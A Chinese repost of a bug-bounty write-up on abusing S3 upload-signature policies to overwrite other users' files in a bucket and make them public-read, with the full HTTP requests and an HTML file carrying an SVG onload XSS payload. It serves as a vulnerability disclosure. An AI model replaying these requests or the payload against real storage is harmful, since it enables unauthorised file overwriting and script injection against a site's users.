滥用ACL权限覆盖其他用户S3存储桶中的文件/视频

news/2025/10/10 17:22:25/文章来源:https://www.cnblogs.com/qife122/p/19133497

滥用ACL权限覆盖其他用户上传的文件/视频

大家好,今天我要写一篇关于在HackerOne某个项目中最新发现的博客。当时我正在寻找应用程序中的IDOR漏洞,于是开始对应用程序的每个请求进行模糊测试,我发现了以下请求:

POST /api-2.0/s3-upload-signatures HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/home/xxx/test/upload
X-Requested-With: XMLHttpRequest, XMLHttpRequest
Cache-Control: no-cache
Content-Type: application/json; charset=utf-8
Authorization: Bearer :
X-Example-Authorization: Bearer 
Content-Length: 311
Connection: close
Cookie: {}{"expiration":"2018-12-18T11:58:24.376Z","conditions":[{"acl":"private"},{"bucket":"example-web-upload-bucket"},{"Content-Type":""},{"success_action_status":"200"},{"key":"a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg"},{"x-amz-meta-qqfilename":"1.jpg"},["content-length-range","1","9007199254740992"]]}

基本上,这个请求用于设置上传文件到S3存储桶的策略,在这个请求之后,我得到了下面提到的照片/视频上传请求:

POST / HTTP/1.1
Host: example-web-upload-bucket.s3.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: multipart/form-data; boundary=---------------------------1268156844136880633597812894
Content-Length: 1716
Origin: https://www.example.com
Connection: close-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="key"a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="AWSAccessKeyId"AKIAIOTLFW3HMG563JEA
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="Content-Type"text/html
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="success_action_status"200
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="acl"public-read
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="x-amz-meta-qqfilename"1.jpg
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="policy"xxxxxxxxxxxxx{this is policy} 
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="signature"n7QQDjsmZUL5fQMOXO0vvAF98kg=
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type:
-----------------------1268156844136880633597812894--

这个请求使用了第一个请求中生成的文件上传策略。我尝试查找应用程序当前使用的S3存储桶中存在的其他文件,一旦我知道了同一存储桶中的一些照片/视频名称,我就尝试创建一个自定义策略来上传不受限制的文件到存储桶,这将覆盖现有文件,而且ACL权限是私有的,我想用public-read替换它,这样应用程序中的每个用户都会受到此攻击的影响。

我尝试通过更改请求中的以下值来创建自定义策略:

POST / HTTP/1.1
Host: example-web-upload-bucket.s3.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: multipart/form-data; boundary=---------------------------1268156844136880633597812894
Content-Length: 1716
Origin: https://www.example.com
Connection: close-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="key"a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="AWSAccessKeyId"AKIAIOTLFW3HMG563JEA
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="Content-Type"-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="success_action_status"200
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="acl"private
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="x-amz-meta-qqfilename"1.jpg
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="policy"xxxxxxxxxxxxx{this is policy}
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="signature"n7QQDjsmZUL5fQMOXO0vvAF98kg=
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type:
-----------------------1268156844136880633597812894--

如截图所示,它创建了自定义策略来上传HTML文件,这将覆盖服务器上的现有文件。

我使用策略进行了文件上传请求,请求如下所示:

POST / HTTP/1.1
Host: example-web-upload-bucket.s3.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: multipart/form-data; boundary=---------------------------1268156844136880633597812894
Content-Length: 1716
Origin: https://www.example.com
Connection: close-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="key"a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="AWSAccessKeyId"AKIAIOTLFW3HMG563JEA
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="Content-Type"text/html
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="success_action_status"200
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="acl"public-read
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="x-amz-meta-qqfilename"1.html
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="policy"xxxxxxxxxxxxx{this is policy}
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="signature"n7QQDjsmZUL5fQMOXO0vvAF98kg=
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="file"; filename="1.html"
Content-Type: text/html<svg/onload=prompt`1`;>
-----------------------1268156844136880633597812894--

现在,这个请求通过覆盖现有文件在存储桶上上传了不受限制的文件,并且通过给文件public-read权限滥用了ACL权限。

就这样:D 感谢大家的阅读,祝大家有美好的一天。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/934266.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025 年最新三维扫描仪厂家权威排行榜:聚焦高精度与多场景适配,为企业与个人用户精选优质品牌推荐高精度/专业/手持激光/工业/便携式三维扫描仪厂家推荐

随着 3D 数字化技术在文博、医疗、工业、建筑等领域的深度渗透,三维扫描仪已成为实现高精度数据采集的核心设备。但当前市场中,厂家数量繁杂且产品质量差距悬殊,部分产品存在精度不足、稳定性差、适配场景有限等问题…

后端基础-输入/输出件

Innovus: 输入件:1. Gate level netlist (.v) 2. SDC (.sdc) 3.Logical libraries (.lib) 4. Technology file (.tlef/.tf) 5.Physical libraries (.lef) 6. RC Coefficient file (.qrc/.captable) 输出件:1. lef 2…

2025 年净化工程服务商最新权威推荐排行榜:医院净化工程 / 制药厂 / 化工厂 / 实验室 / 无尘车间优选净化工程设计安装施工公司

2025 年,医疗、制药、电子等领域对洁净环境的标准持续升级,净化工程成为保障安全合规与产品质量的核心环节。但市场中服务商资质参差不齐,部分企业因技术滞后无法满足个性化需求,或用劣质材料导致净化效果不达标,…

“100 W、18 GHz 一口通吃——HL-SMAMF-100-18-20 衰减器小砖块实测记”

“100 W、18 GHz 一口通吃——HL-SMAMF-100-18-20 衰减器小砖块实测记”HL-SMAMF-100-18-20 这块看起来毫不起眼的“小砖块”,却是我最近半年功率实验里最顺手的一件工具。第一次把它拿在手里,黄铜镀镍外壳加黑色氧化…

2025 年最新推荐!国内优质充电桩厂家排行榜,涵盖多场景适配产品,助用户精准选靠谱品牌智能/新能源/电动车/重卡/电动车直流充电桩厂家推荐

当前新能源汽车保有量持续攀升,充电桩作为关键配套设施,市场需求日益旺盛,但行业乱象却让用户选购困难重重。部分产品充电效率低下,难以满足快速补能需求;安全防护缺失,在恶劣环境下易引发安全事故;兼容性差,无…

实用指南:【图像算法 - 28】基于YOLO与PyQt5的多路智能目标检测系统设计与实现

实用指南:【图像算法 - 28】基于YOLO与PyQt5的多路智能目标检测系统设计与实现pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-f…

KingView 组态王 6.5下载地址与安装教程

软件介绍 KingView组态王6.5是由北京亚控科技开发的一款工业自动化监控系统软件,专为Windows 2000/NT 4.0(补丁6)/XP简体中文版用户设计。该软件以全面的网络概念为基础,采用多线程技术和COM组件,实现了高效实时的…

常用接口对比

核心概述 外设接口是MCU/处理器与外部设备(传感器、存储器、显示器等)进行通信的桥梁。根据数据传输方式,可分为串行和并行两大类。如今,串行接口因其引脚少、布线简单、成本低而成为绝对主流。常用外设接口详解与…

工具网站网址

1. TTS 简体中文 文字转语音软件 |音独 https://ondoku3.com/zh-hans/

基于传递矩阵法计算多层结构声表面波声速 - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

linux执行脚本命令报错$\r:未找到命令的解决方法

linux执行脚本命令报错$\r:未找到命令的解决方法 sed -i s/\r$// test.sh

2025 电缆回收推荐榜:广州龙耀 5 星领跑,这些企业适配绿色循环需求

随着工业更新与建筑迭代加速,废旧电缆回收成为资源循环的重要环节。结合资质合规性、回收效率、环保工艺与用户口碑,2025 年华南地区优质电缆回收企业榜单出炉,广州龙耀再生资源回收有限公司以综合实力稳居 5 星推荐…

基于最小二乘法的离散数据曲面拟合MATLAB实现方法

最小二乘法曲面拟合原理 数学基础 对于离散数据点 \((x_i, y_i, z_i)\),我们要找到曲面函数 \(z = f(x,y)\) 的最佳拟合。 多项式曲面模型: \[z = \sum_{i=0}^{m}\sum_{j=0}^{n} a_{ij}x^iy^j \]其中 \(m\) 和 \(n\)…

20251010——读后感1

书中石匠的故事启示我们,程序员不应只把编程当谋生手段,而要视为建造软件“大教堂”的事业。这要求我们在开发时追求卓越。比如接到一个管理系统开发任务,不能只满足于功能实现,要考虑系统的扩展性、用户体验,像优…

MOE模型

MOE 模型 Qwen3MoeForCausalLM((model): Qwen3MoeModel((embed_tokens): Embedding(151936, 2048, padding_idx=151643)(layers): ModuleList((0-47): 48 x Qwen3MoeDecoderLayer((self_attn): Qwen3MoeAttention((q_p…

2025航空插头厂家最新推荐榜:M8 航空插头, m12航空插头, 航空插头公母对接, 航空插头5芯, 航空插头三芯, 航空插头4芯, 航空插头12芯等类型全覆盖,专业定制与可靠品质

行业背景航空插头作为电气连接的关键部件,广泛应用于航空航天、国防军事、工业自动化、交通运输等众多领域。随着科技的飞速发展,各行业对航空插头的性能、质量和定制化需求也日益提高。在航空航天领域,航空插头需要…

go使用root用户进行调试

需求 本地调试go程序,但涉及硬件操作需要用root用户执行。 需要sudo的同时支持端点调试。 方法 修改launch.json文件 {// Use IntelliSense to learn about possible attributes.// Hover to view descriptions of ex…

如何反制免费项目管理软件的套路

很多工具喊着 “免费”,实则藏着各种隐形门槛:有的免费版锁死核心模块,想用自动化测试得加钱;有的表面免费,却在存储、协作人数外额外设 “功能等级”,连导出报表都要付费解锁,比如:用过项目管理工具的团队都懂…

智能技术与先进制造国际会议(ITAM 2025)

智能技术与先进制造国际会议(ITAM 2025)由湖南第一师范学院主办,CCF长沙分部联合主办。将于2025年12月12日至14日在山水洲城,楚汉名城——湖南长沙盛大召开。 智能技术与先进制造领域是当前全球科技与产业变革的核…

2025智慧工地工程协同项目交付管理软件系统平台公司推荐榜:项目全周期的智能中枢,助力建筑行业数字化转型

随着建筑行业数字化转型的持续深入,工程管理软件系统已从单纯的工具辅助升级为项目全周期的智能中枢。从施工协同到质量管控,从成本核算到风险预警,数字化工具正重构工程管理的底层逻辑。基于技术创新性、场景适配性…